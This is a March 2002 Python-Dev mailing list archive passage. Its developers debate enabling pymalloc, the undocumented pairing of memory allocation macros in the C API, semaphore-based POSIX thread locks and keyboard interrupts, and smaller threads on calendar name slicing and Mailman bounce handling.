> Ditto Zope (as Guido said), ditto Marc-Andre's extensions, ditto NumPy
> (IIRC), yadda yadda yadda.  I don't know whether MarkH has tried the massive
> Win32 extensions with pymalloc yet.

I wonder whether one could design a script that analyses Python code
for asymmetric usage of memory management functions, e.g. trying to match

   expression->FIELD = ALLOCATOR;
   DEALLOCATOR(other_expression->FIELD);

This would complain if there is a FIELD that has no symmetric usage,
or if a certain allocator has no counterpart at all in a source file.

I then wonder if that script would have found the errors you cite.

Regards,
Martin


From tim.one@comcast.net  Fri Mar 15 09:04:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 04:04:37 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <GBEGLOMMCLDACBPKDIHFOEFJCHAA.gsw@agere.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEJLOEAA.tim.one@comcast.net>

[Gerald S. Williams
 Sent: Monday, March 04, 2002 10:44 AM
]
> I submitted patch request 525532 that will enable semaphore
> use in thread_pthread.h if _POSIX_SEMAPHORES is defined. It
> includes proper checking of error codes and looping if EINTR
> is received (as you rightly pointed out).

Cool!  I gave it a +1, but I'm not on a pthreads platform and someone who is
needs to continue the process.

> I didn't add any specific checks for a keyboard interrupt. Checks
> could be added in the loop for specific platforms as needed.

I'm deadly opposed to letting a keyboard interrupt break out of a wait for a
Python lock.

> I'm not sure if this is an issue anyway. To quote the POSIX
> standard (ISO/IEC 9945-l: 1996 aka ANSI/IEEE Std 1003.1, 1996
> Edition):
>  If a signal is delivered to a thread waiting for a mutex,
>  upon return from the signal handler the thread shall resume
>  waiting for the mutex as if it was not interrupted.
> and:
>  If a signal is delivered to a thread waiting for a condition
>  variable, upon return from the signal handler the thread shall
>  resume waiting for the condition variable as if it was not
>  interrupted, or it shall return zero due to spurious wakeup.

Sorry, I don't grasp what the point of this quoting was, unless it was a
roundabout way of merely confirming that keyboard interrupts can't break out
of a wait for a Python lock today (which was known and said before).



From mal@lemburg.com  Fri Mar 15 09:18:39 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 15 Mar 2002 10:18:39 +0100
Subject: [Python-Dev] Activating pymalloc
References: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net> <m31yemuu4h.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C91BC6F.4EC1C907@lemburg.com>

"Martin v. Loewis" wrote:
> 
> > > A lot of extensions will break.  The example code in xxmodule.c was
> > > "wrong" for years.
> >
> > Ditto Zope (as Guido said), ditto Marc-Andre's extensions, ditto NumPy
> > (IIRC), yadda yadda yadda.  I don't know whether MarkH has tried the massive
> > Win32 extensions with pymalloc yet.
> 
> I wonder whether one could design a script that analyses Python code
> for asymmetric usage of memory management functions, e.g. trying to match
> 
>    expression->FIELD = ALLOCATOR;
>    DEALLOCATOR(other_expression->FIELD);
> 
> This would complain if there is a FIELD that has no symmetric usage,
> or if a certain allocator has no counterpart at all in a source file.
> 
> I then wonder if that script would have found the errors you cite.

I think better would be to add some instrumentation to the
interpreter so that extension authors can easily debug the
memory and object allocation management in their extensions.

I am thinking of a configure option which enables python -d to
generate a log file with all uses of these functions and
macros logged to that file.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mwh@python.net  Fri Mar 15 09:44:02 2002
From: mwh@python.net (Michael Hudson)
Date: 15 Mar 2002 09:44:02 +0000
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Tim Peters's message of "Fri, 15 Mar 2002 02:38:33 -0500"
References: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>
Message-ID: <2mvgbymahp.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> [Neal]
> > A lot of extensions will break.  The example code in xxmodule.c was
> > "wrong" for years.
> 
> Ditto Zope (as Guido said), ditto Marc-Andre's extensions, ditto
> NumPy (IIRC), yadda yadda yadda.  I don't know whether MarkH has
> tried the massive Win32 extensions with pymalloc yet.

I think one of the reasons lots of modules break is that back in the
1.5.2 days, PyObject_Del didn't exist, and you were expected to use
PyMem_Del.  This now breaks.

Could be misremembering.

Cheers,
M.

-- 
  The gripping hand is really that there are morons everywhere, it's
  just that the Americon morons are funnier than average.
                              -- Pim van Riezen, alt.sysadmin.recovery


From tim.one@comcast.net  Fri Mar 15 09:52:59 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 04:52:59 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m31yemuu4h.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEJOOEAA.tim.one@comcast.net>

[Tim]
>> Are "the right" alloc/dealloc macros documented anywhere?  I can't
>> find it, if they are.

[Martin]
> http://www.python.org/doc/current/api/memoryInterface.html
>
> is as precise and comprehensive as anything I would have written
> myself.

Then no wonder extension authors can't get this right <0.9 wink>.

> The Examples even give explicit examples what cases to avoid.

Heh -- I never noticed the examples before.  It's curious that they claim

    PyMem_Del(buf3);  /* Wrong -- should be PyMem_Free() */

when the docs just finished saying

    void PyMem_Del(void *p)
        Same as PyMem_Free().

Either the example or the doc's "same as" is incomprehensible.

It's also curious that the examples say

    free(buf1);       /* Fatal -- should be PyMem_Del()  */

when the docs said no such thing (and this may be the #1 error in practice).
The Examples page (but not the docs) says

    Indeed, it is required to use the same memory API family for a given
    memory block,

but the crucial phrase "the same memory API family" is left undefined.  At a
minimum, it needs to identify "the memory API families" by explicit,
exhaustive enumeration.  The mess in practice is a fact, and proves people
don't understand what the docs are *trying* to say here.  I'm not sure
myself.

Like, are the functions and macros interchangeable?  For example, if you
know something was allocated via PyMem_Malloc, is it OK to release it via
PyMem_FREE?  I simply can't guess from what the docs say, again because what
constitutes "a family" is left undefined.

> For PyObject, the equivalent documentation is at
>
> http://www.python.org/doc/current/api/allocating-objects.html

I'll be charitable and guess this defines a different family <wink>.

Note that users also have to know about

http://www.python.org/doc/current/api/supporting-cycle-detection.html

in order to get at

    PyObject_GC_New / PyObject_GC_NewVar / PyObject_GC_Del

So far we've covered more than two dozen spellings (even without plain
"malloc" and "free"), spread over at least 4 manual pages.  One compact
table listing all of them in "legal" pairs would be an enormous help.

> ...
> Do you think you would understand the documentation that is currently
> there?

Not well enough to use with confidence, no.  I've seen the docs before,
although I did miss the Examples section previously.  I have a fancy editor
with an integrated symbol database, and in practice I chase down the macros
and functions until I see what they *do* at the leaves.  The endless layers
of indirection macros make this quite a pain (and I see you resorted to
looking at post-preprocessor listings).

> BTW, I found the documentation by grepping for PyMem_ in all .tex
> files, because I could not be bothered to read the online version,
> either.

They're easy to find via the index in the C API manual.

> It leaves out a good many details (i.e. additional API), but I think
> this is deliberate - you are not supposed to ever use this other API,
> anyway.

Which API?

> I wonder whether one could design a script that analyses Python code
> for asymmetric usage of memory management functions, e.g. trying to
> match
>
>    expression->FIELD = ALLOCATOR;
>    DEALLOCATOR(other_expression->FIELD);
>
> This would complain if there is a FIELD that has no symmetric usage,
> or if a certain allocator has no counterpart at all in a source file.
>
> I then wonder if that script would have found the errors you cite.

Well, to a first approximation, just searching for "free(" is valuable!  In
the Python source, the thread implementations use malloc and free on
purpose, but it also turns up a curious

		    free((char *)Py_FileSystemDefaultEncoding);

in _localmodule.c.  If not an outright bug, that's at least begging for a
comment, as the only obvious definition is in bltinmodule.c:

#if defined(MS_WIN32) && defined(HAVE_USABLE_WCHAR_T)
const char *Py_FileSystemDefaultEncoding = "mbcs";
#else
const char *Py_FileSystemDefaultEncoding = NULL; /* use default */
#endif

Does that mean that, on Windows, we may free() a static char*?!



From Jack.Jansen@oratrix.com  Fri Mar 15 09:54:44 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 15 Mar 2002 10:54:44 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net>
Message-ID: <AD402DC3-37FA-11D6-90F3-0030655234CE@oratrix.com>

On Friday, March 15, 2002, at 08:20 , Tim Peters wrote:

> [Andrew MacIntyre]
>> My OS/2 build definitely uses threads (don't remember what FreeBSD
>> ./configures to), and survives all the threading tests - which may not
>> highlight the problems you're referring to.
>
> Switching to pymalloc shouldn't be a correctness issue for code playing
> strictly by the rules.  The historical problem is that the Python C API
> exposes more different spellings for "get memory" and "free memory" 
> than you
> may believe possible, "the rules" for navigating this maze aren't
> documented, and so far all the spellings have reduced to plain "malloc" 
> and
> "free".

This may be overkill, but we could check correct usage of allocator/free 
pairs in a DEBUG build. At the end of pymem.h conditionally include 
pymemdebug.h which painstakingly replaces all the *alloc and *free 
defines with versions that go to a set of routines that check that 
something freed with PyFooBAR_FREE() has actually been allocated with 
PyFooBAR_ALLOC(). The accompanying pymemdebug.c would have magic to 
disable the inclusion of pymemdebug.h when it includes pymem.h, so the 
debugging routines actually get to use what was defined in pymem.h.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From tim.one@comcast.net  Fri Mar 15 10:35:16 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 05:35:16 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <2mvgbymahp.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>

[Michael Hudson]
> I think one of the reasons lots of modules break is that back in the
> 1.5.2 days, PyObject_Del didn't exist, and you were expected to use
> PyMem_Del.  This now breaks.

You mean this breaks if pymalloc is enabled, right?  Else they're just more
ways to spell "free()".

I wonder whether it's actually a good idea for PyMem_New (etc) to keep on
calling malloc/free even when pymalloc is enabled.  Anyone think they know a
reason (other than theoretical purity <wink>) for why pymalloc only targets
the PyObject family?  If Michael is right, the current distinction is indeed
guaranteed to break just about every extension written for 1.5.2.  It's also
plain irritating that if you have, e.g., a gazillion tiny lists, only the
list headers will enjoy pymalloc's speed & memory savings (the guts still
get allocated via PyMem_XXX).



From mal@lemburg.com  Fri Mar 15 10:37:40 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 15 Mar 2002 11:37:40 +0100
Subject: [Python-Dev] Activating pymalloc
References: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net> <2mvgbymahp.fsf@starship.python.net>
Message-ID: <3C91CEF4.599B8C46@lemburg.com>

Michael Hudson wrote:
> 
> Tim Peters <tim.one@comcast.net> writes:
> 
> > [Neal]
> > > A lot of extensions will break.  The example code in xxmodule.c was
> > > "wrong" for years.
> >
> > Ditto Zope (as Guido said), ditto Marc-Andre's extensions, ditto
> > NumPy (IIRC), yadda yadda yadda.  I don't know whether MarkH has
> > tried the massive Win32 extensions with pymalloc yet.
> 
> I think one of the reasons lots of modules break is that back in the
> 1.5.2 days, PyObject_Del didn't exist, and you were expected to use
> PyMem_Del.  This now breaks.
> 
> Could be misremembering.

That's correct: PyObject_DEL/Del were introduced in Python 1.6.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Fri Mar 15 11:40:00 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 15 Mar 2002 12:40:00 +0100
Subject: [Python-Dev] Activating pymalloc
References: <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>
Message-ID: <3C91DD90.BD64C6E4@lemburg.com>

Tim Peters wrote:
> 
> [Michael Hudson]
> > I think one of the reasons lots of modules break is that back in the
> > 1.5.2 days, PyObject_Del didn't exist, and you were expected to use
> > PyMem_Del.  This now breaks.
> 
> You mean this breaks if pymalloc is enabled, right?  Else they're just more
> ways to spell "free()".

The problem is that if you have an extension which was written for
1.5.2 this extension will use PyMem_Del() for object deallocation
rather than PyObject_Del(). This will break as soon as PyObject_Del()
maps to something different than PyMem_Del() since the old code
will continue to call PyMem_Del().

> I wonder whether it's actually a good idea for PyMem_New (etc) to keep on
> calling malloc/free even when pymalloc is enabled.  Anyone think they know a
> reason (other than theoretical purity <wink>) for why pymalloc only targets
> the PyObject family? 

Depends on how you define PyMem_* ... 

If you are saying that
these macros/functions are only intended to allocate memory
blocks which Python will use, then it's probably OK to let
pymalloc handle these as well.

If, for some reason, you intend to share the memory
with some other process/DLL/whatever, then I'm not
sure if this continues to work with pymalloc -- could
be that the platform's malloc() uses flags/locks etc.
to manage sharing. Just a thought, probably just FUD.

ALAS, the only way to find out, is to try it.

> If Michael is right, the current distinction is indeed
> guaranteed to break just about every extension written for 1.5.2.  It's also
> plain irritating that if you have, e.g., a gazillion tiny lists, only the
> list headers will enjoy pymalloc's speed & memory savings (the guts still
> get allocated via PyMem_XXX).

Agreed.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From neal@metaslash.com  Fri Mar 15 12:47:56 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 15 Mar 2002 07:47:56 -0500
Subject: [Python-Dev] Activating pymalloc
References: <LNBBLJKPBEHFEDALKOLCKEJDOEAA.tim.one@comcast.net>
Message-ID: <3C91ED7C.CED61E11@metaslash.com>

Tim Peters wrote:
> 
> [Neal Norwitz]
> > ...
> > Part of the problem was the code in Modules/sre.h:16:
> > /* size of a code word (must be unsigned short or larger, and
> >    large enough to hold a Py_UNICODE character) */
> > #ifdef Py_UNICODE_WIDE
> > #define SRE_CODE unsigned long
> > #else
> > #define SRE_CODE unsigned short
> > #endif
> >
> > #define SRE_CODE unsigned short
> 
> That code is nuts.  Open a bug report and assign it to effbot.
> 
> > Notice SRE_CODE is always set to unsigned short.
> > I don't know what is correct.
> 
> That's why you should open a bug report and assign it to effbot <wink>.

Done.

> > I can re-run purify.  Although, I have a crappy beta, so I don't
> > know if it will be useful or not.
> 
> It didn't look useful last time (the UMRs you reported then were in the
> bowels of your platform's libc, with oodles of "*unknown func*" lines above
> the bowels); if that's the best it can do, don't bother.

Oh no, purify is much better now.  It reports 1000s of spurious warnings
and then crashes.  It's completely useless now.

Neal


From neal@metaslash.com  Fri Mar 15 12:55:33 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 15 Mar 2002 07:55:33 -0500
Subject: [Python-Dev] Activating pymalloc
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
 <3C912E4C.27B220CF@metaslash.com> <m3sn72uva9.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C91EF45.A0565703@metaslash.com>

"Martin v. Loewis" wrote:
> 
> Neal Norwitz <neal@metaslash.com> writes:
> 
> > I had some issues w/purify & pymalloc (1000s of warnings).
> > I think these problems were documented under the thread:
> >
> >       * [Python-Dev] Mixing memory management APIs
> 
> I can't find any documentation for that except that purify reports
> 13664 errors, among which are Free Memory Reads, Array Bounds Reads,
> and Unitialized Memory Reads.

I can't find any useful details now either.

> A report on a specific instance would be appreciated, perhaps starting
> with the one that is recorded most frequently.

I will do this once purify works again.  But I have no idea
when that will be.

Neal


From akuchlin@mems-exchange.org  Fri Mar 15 13:38:20 2002
From: akuchlin@mems-exchange.org (akuchlin@mems-exchange.org)
Date: Fri, 15 Mar 2002 08:38:20 -0500
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <15505.36705.373995.243942@grendel.zope.com>; from fdrake@acm.org on Fri, Mar 15, 2002 at 01:06:25AM -0500
References: <15505.22371.564782.807130@12-248-41-177.client.attbi.com> <web-3741467@digicool.com> <15505.35500.668385.596442@12-248-41-177.client.attbi.com> <15505.36705.373995.243942@grendel.zope.com>
Message-ID: <20020315083820.A30374@mozart.mems-exchange.org>

On Fri, Mar 15, 2002 at 01:06:25AM -0500, Fred L. Drake, Jr. wrote:
>It definately can be, but that may be an action that's grouped with
>other membership-change messages (which doesn't really "feel right" to
>me, since it's more like an error than normal operation).

No, it's not like that.  Disabling or removing accounts is
configurable separately from other membership changes.  For example, I
run the mems-talk list that way, so it sends me a note when accounts
get removed but I hear nothing about voluntary unsubscribes.

--amk                                                             (www.amk.ca)
Life's better without braces.
    -- Unofficial motto of IPC8, coined by Bruce Eckel


From skip@pobox.com  Fri Mar 15 13:56:51 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 07:56:51 -0600
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
References: <15505.32251.198682.122158@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
Message-ID: <15505.64931.821995.823056@12-248-41-177.client.attbi.com>

    >> I checked in what I thought was a fix for calendar.py and
    >> test_calendar.py, then realized it didn't handle slices.

    Tim> Why does that matter?  calendar.__all__ doesn't export
    Tim> _localized_name or any of the gimmicks built from it, so it's
    Tim> purely an internal issue, and the internals never need slices here
    Tim> (granted that day_name etc are poorly named for module privates --
    Tim> or perhaps the __all__ list and the docs are in error).

Correct, but people still know they exist.  I've used them a lot in my own
code.  It's just "well known" that they contain the weekday and month names.
They were traditionally lists, so in my mind, they should probably try and
behave as much like lists as is reasonable.  Maybe they should be documented
and exported in __all__, but that's a separate question.  I'm not sure I've
ever used the objects the module actually advertises except when working on
the module's code. ;-)

    >> I've never dealt with __getitem__ and slices before.  Would someone try
    >> out this modified version of calendar._localized_name and let me know
    >> what I'm doing wrong?
    >> 
    >> class _localized_name:
    >>  ...

    Tim> Now this changes the current semantics in a major way: if you're
    Tim> going to precompute all the values, construct plain tuples instead
    Tim> and be done with it.  I assume that whoever patched this to begin
    Tim> with deliberately recomputed localized values on each dynamic
    Tim> reference so that they would respond appropriately to dynamic
    Tim> locale changes.

Thanks, I hadn't considered that the locale might change dynamically.  The
above code is not what's checked in, however.  The code I checked in still
calls strftime from __getitem__.

I also realized later (after the checkin) that the original SF submission
was a patch submission, not a bug report that didn't include a fix.  (When
you visit patches or bugs by clicking on links in email messages they look
just about the same.)  Accordingly, there was some example code there to get
me over the __getslice__ hump.

Skip



From barry@zope.com  Fri Mar 15 14:38:39 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 09:38:39 -0500
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
References: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
 <web-3741467@digicool.com>
 <15505.35500.668385.596442@12-248-41-177.client.attbi.com>
Message-ID: <15506.1903.341955.306842@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    Jeremy> Speaking as one of the list admins, I don't have any idea
    Jeremy> how I would notice that an email address goes bad.
    Jeremy> Mailman disables delivery without bothering me.

    SM> Hmmm...  I thought it could be configured to bother you.  I
    SM> may be wrong.

MM2.1

-Barry


From skip@pobox.com  Fri Mar 15 15:21:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 09:21:26 -0600
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <15506.1903.341955.306842@anthem.wooz.org>
References: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
 <web-3741467@digicool.com>
 <15505.35500.668385.596442@12-248-41-177.client.attbi.com>
 <15506.1903.341955.306842@anthem.wooz.org>
Message-ID: <15506.4470.108292.709049@12-248-41-177.client.attbi.com>

    SM> Hmmm...  I thought it could be configured to bother you.  I may be
    SM> wrong.

    BAW> MM2.1

I guess the workaround in MM<2.1 is to process ~mailman/logs/bounce once in
awhile.  I presume this is academic, because by the time PEP 2 is a reality,
MM>=2.1 will have been installed on mail.python.org and Jeremy will be able
to configure it so he gets "joe@aol.com bouncing, disabled" messages.

Skip



From aahz@pythoncraft.com  Fri Mar 15 15:37:27 2002
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 15 Mar 2002 10:37:27 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net>
References: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org> <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net>
Message-ID: <20020315153727.GA9439@panix.com>

I'm just picking a random spot to break into this thread.  Last
go-round, I seem to recall a suggestion that pymalloc get a new API and
that anyone who wanted to use pymalloc would be forced to modify their
code.  That would leave all currently working ways of spelling
malloc()/free() working.

Is there some reason why we're not doing that?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From guido@python.org  Fri Mar 15 15:44:57 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 10:44:57 -0500
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: Your message of "Fri, 15 Mar 2002 01:47:42 EST."
 <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
Message-ID: <200203151544.g2FFivq02674@pcp742651pcs.reston01.va.comcast.net>

> Why does that matter?  calendar.__all__ doesn't export
> _localized_name or any of the gimmicks built from it, so it's purely
> an internal issue, and the internals never need slices here (granted
> that day_name etc are poorly named for module privates -- or perhaps
> the __all__ list and the docs are in error).

I agree with Skip that these are public enough to make sure common
uses will continue to work, despite their current lack of
documentation.  After all someone did report a bug -- I'm sure that
was because they had real code using this which broke, not because
they happened to have inspected the code and noticed it was buggy. :-)

I have to say that I still think that adding __all__ to every module
under the sun was a mistake.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gsw@agere.com  Fri Mar 15 15:58:02 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 15 Mar 2002 10:58:02 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEJLOEAA.tim.one@comcast.net>
Message-ID: <GBEGLOMMCLDACBPKDIHFIEHMCHAA.gsw@agere.com>

I was trying to avoid taking sides on the keyboard interrupt
issue. I do prefer only having to type ^C once, but Python
doesn't always do that now (at least not on my platforms),
and there are certainly issues trying to do it portably. I
wouldn't want to be involved in that effort.

The point of the quote was to show that Mutexes/Condition
variables have (or at least can have) the same behavior
wrt interrupts as this:
  do {
    status = sem_wait(lock);
  } while ((status == -1) && (errno == EINTR));

So we can treat keyboard interrupts as a separate issue.

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-

Tim Peters wrote:
> I'm deadly opposed to letting a keyboard interrupt break out of a wait for a
> Python lock.
[...]
> >  If a signal is delivered to a thread waiting for a mutex,
> >  upon return from the signal handler the thread shall resume
> >  waiting for the mutex as if it was not interrupted.
> > and:
> >  If a signal is delivered to a thread waiting for a condition
> >  variable, upon return from the signal handler the thread shall
> >  resume waiting for the condition variable as if it was not
> >  interrupted, or it shall return zero due to spurious wakeup.
> 
> Sorry, I don't grasp what the point of this quoting was, unless it was a
> roundabout way of merely confirming that keyboard interrupts can't break out
> of a wait for a Python lock today (which was known and said before).



From guido@python.org  Fri Mar 15 16:01:31 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 11:01:31 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Fri, 15 Mar 2002 02:38:33 EST."
 <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>
Message-ID: <200203151601.g2FG1Vc02736@pcp742651pcs.reston01.va.comcast.net>

> [Guido]
> > Some extensions will break because they don't use the right
> > alloc/dealloc macros (we just fixed a few of these in Zope)

[Tim]
> Are "the right" alloc/dealloc macros documented anywhere?  I can't
> find it, if they are.

There's a long comment block at the start of objimpl.h documenting
PyObject_New, PyObject_NewVar, PyObject_Del, and PyObject_Init.  These
are the only ones that 3rd party extensions should use for allocating
storage for *objects*.  In particular, a type's tp_dealloc function
should use PyObject_Del when the type's constructor uses PyObject_New
or a variant.  It ends with:

    Unless you have specific memory management requirements, it is
    recommended to use PyObject_{New, NewVar, Del}. */

While that's pretty hidden, it's also pretty unambiguous on what "the
right" thing is.

Unfortunately, *core* object types are allowed to use other macros as
well, and many 3rd party extensions copy examples from the core rather
than reading comments in obscure header files.

There's also the question of how to allocate non-object memory (like
the hash table of a dict or the array of pointers for a list).
According to a comment in pymem.h, for allocating non-object memory,
you should always use the PyMem_* family of functions and macros.  In
addition, it is also quite clear on the need for extension modules to
always use the functions, not the macros.

> Much of a pymalloc fan as I am, I'm -1 on introducing it if we can't
> give extension authors a clear, brief, prominent and self-contained
> account of the memory rules they're supposed to follow (I don't
> really know what they are -- I always reverse-engineer it as needed,
> because I never found a place in the docs that offered sufficient
> guidance).

I think the problem is not that there are no clear unambiguous rules.
It's that they have been undocumented and violated in code used as an
example for too long.

We should at least try to do something in 2.3 that will help extension
authors do the right thing in subsequent versions.  Documenting the
rules is one thing we should definitely do.  Maybe we can also provide
a configuration option that complains loudly when an extension is
compiled that uses the wrong macros.  Maybe that configuration option
could even be on by default (it should only affect *compiling*
extensions, not linking with them).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 16:09:51 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 11:09:51 -0500
Subject: [Python-Dev] Use of PyObject_NEW
In-Reply-To: Your message of "Fri, 15 Mar 2002 08:29:50 +0100."
 <200203150729.g2F7Toq01315@mira.informatik.hu-berlin.de>
References: <200203150729.g2F7Toq01315@mira.informatik.hu-berlin.de>
Message-ID: <200203151609.g2FG9p602771@pcp742651pcs.reston01.va.comcast.net>

> I tried to understand the various memory allocation function and
> macros in Python, and found that there is probably a misunderstanding
> in what PyObject_NEW does.
> 
> For example, PyRange_New says
> 
> 	rangeobject *obj = PyObject_NEW(rangeobject, &PyRange_Type);
> 
> 	if (obj == NULL)
> 		return NULL;
> 
> The assumption apparently is that somebody will raise a MemoryError
> and return NULL when allocation fails. However, this code expands to
> 
>      rangeobject *obj = ((rangeobject*)PyObject_Init(
>                (PyObject *) malloc(((&PyRange_Type)->tp_basicsize)),
>                (&PyRange_Type)));
> 
> 	if (obj == ((void *)0) )
> 		return ((void *)0) ;
> 
> malloc will just return NULL in case of failure, and PyObject_Init
> starts with
> 
> 	if (op == NULL) {
> 		PyErr_SetString(PyExc_SystemError,
> 				"NULL object passed to PyObject_Init");
> 		return op;
>   	}
> 
> So instead of a MemoryError, you will get a SystemError if the system
> runs out of memory. Is that intentional?

Oh, good catch.  PyObject_Init() should only raise its own exception
when PyErr_Occurred() returns NULL.

> The documentation says
> 
>   Macro version of \cfunction{PyObject_New()}, to gain performance at
>   the expense of safety.  This does not check \var{type} for a \NULL{}
>   value.
> 
> This is incorrect: It does check for NULL.

It checks the allocated storage for NULL, but it doesn't check the
'type' argument for NULL.  Of course it doesn't!  The function doesn't
either.  The type is always the address of a statically allocated
variable so there's no worry about NULL here.  So there's something
else wrong with the docs -- why does it say this at all?

> It also does not help to
> gain performance - PyObject_New has three calls (_PyObject_New, malloc,
> _Py_NewReference), and so does PyObject_NEW (malloc, PyObject_Init,
> _Py_NewReference).

Curious.  You seem to be right.  I'm pretty sure it *used* to be
faster to use the macros, but I believe correctness requirements have
made the point moot.

> I recommend to deprecate PyObject_NEW (and correspondingly
> PyObject_NEW_VAR, PyObject_DEL).

And in the mean time, define them as aliases for the functions -- that
should save some code size.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Mar 15 16:15:04 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 10:15:04 -0600
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: <200203151544.g2FFivq02674@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
 <200203151544.g2FFivq02674@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15506.7688.759990.925761@12-248-41-177.client.attbi.com>

    Guido> I have to say that I still think that adding __all__ to every
    Guido> module under the sun was a mistake.

I said that while I was in the midst of adding __all__ to everything!
Nobody listened... :-(

Skip



From guido@python.org  Fri Mar 15 16:15:49 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 11:15:49 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: Your message of "Fri, 15 Mar 2002 04:04:37 EST."
 <LNBBLJKPBEHFEDALKOLCAEJLOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEJLOEAA.tim.one@comcast.net>
Message-ID: <200203151615.g2FGFoA02807@pcp742651pcs.reston01.va.comcast.net>

[Tim]
> I'm deadly opposed to letting a keyboard interrupt break out of a
> wait for a Python lock.

I've heard this before.  Can you explain why?  It would not be
incorrect -- if the SIGINT had arrived a microsecond before the wait
started, the program would have been interrupted in exactly the same
state.  It's one of the few places where code can be blocked in a
system call (if you want to call a lock wait a system call -- it's
close enough for me) and a ^C doesn't stop it, and that can be
annoying at times.

Of course, if it's not the main thread, signals including SIGINT
shouldn't do anything, but that's a separate issue.  Breaking the main
thread IMO is useful behavior for interactive programs and for scripts
invoked from the command line.  (In practice, this is probably only
interesting for interactive use -- if you hang your main thread on a
deadlock, there's no way to get your >>> prompt back, and that may
